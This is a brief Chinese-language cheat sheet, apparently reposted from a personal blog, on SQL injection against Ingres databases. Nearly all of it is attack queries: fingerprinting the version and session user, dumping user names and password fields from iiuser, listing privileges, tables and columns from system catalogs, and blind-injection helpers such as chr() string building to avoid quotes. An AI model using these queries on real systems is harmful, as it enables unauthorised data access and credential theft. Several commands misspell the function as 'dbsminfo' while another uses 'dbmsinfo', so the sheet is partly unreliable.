Ingres是一种可以在所有主流操作系统上使用的开源数据库。在与Web应用集成的数据库中，Ingres属于不流行的数据库之一。

这里我想大家介绍Ingres数据库的SQL注入方法

查询版本： SELECT DBSMINFO('_version');

查询当前用户：select dbsminfo ('system_user');

select dbsminfo('session_user')

列出用户： select name,password from iiuser;

列出用户权限：

select dbsminfo('select_syscat');

select dbsminfo('db_privileges');

select dbsminfo('db_admin');

select dbsminfo('security_priv');

select dbsminfo('create_table');

select dbsminfo('create_procedure');

提取当前用户数据库：

select dbmsinfo('database');

列出表：

select relid,relowner,relloc from iirelation where relowner !='$ingres';

列出了字段：

select column_name,column_datatype,table_name,table_owner from iicolumns;

Ingres数据库SQL盲注

字符串长度：length()

从给定字符串中提取子串：select substr(string,offset,length);

字符串('ABC‘)不带单引号的表示方式：select chr(65)||chr(66)||chr(67)

摘自 hi.baidu.com/evilrapper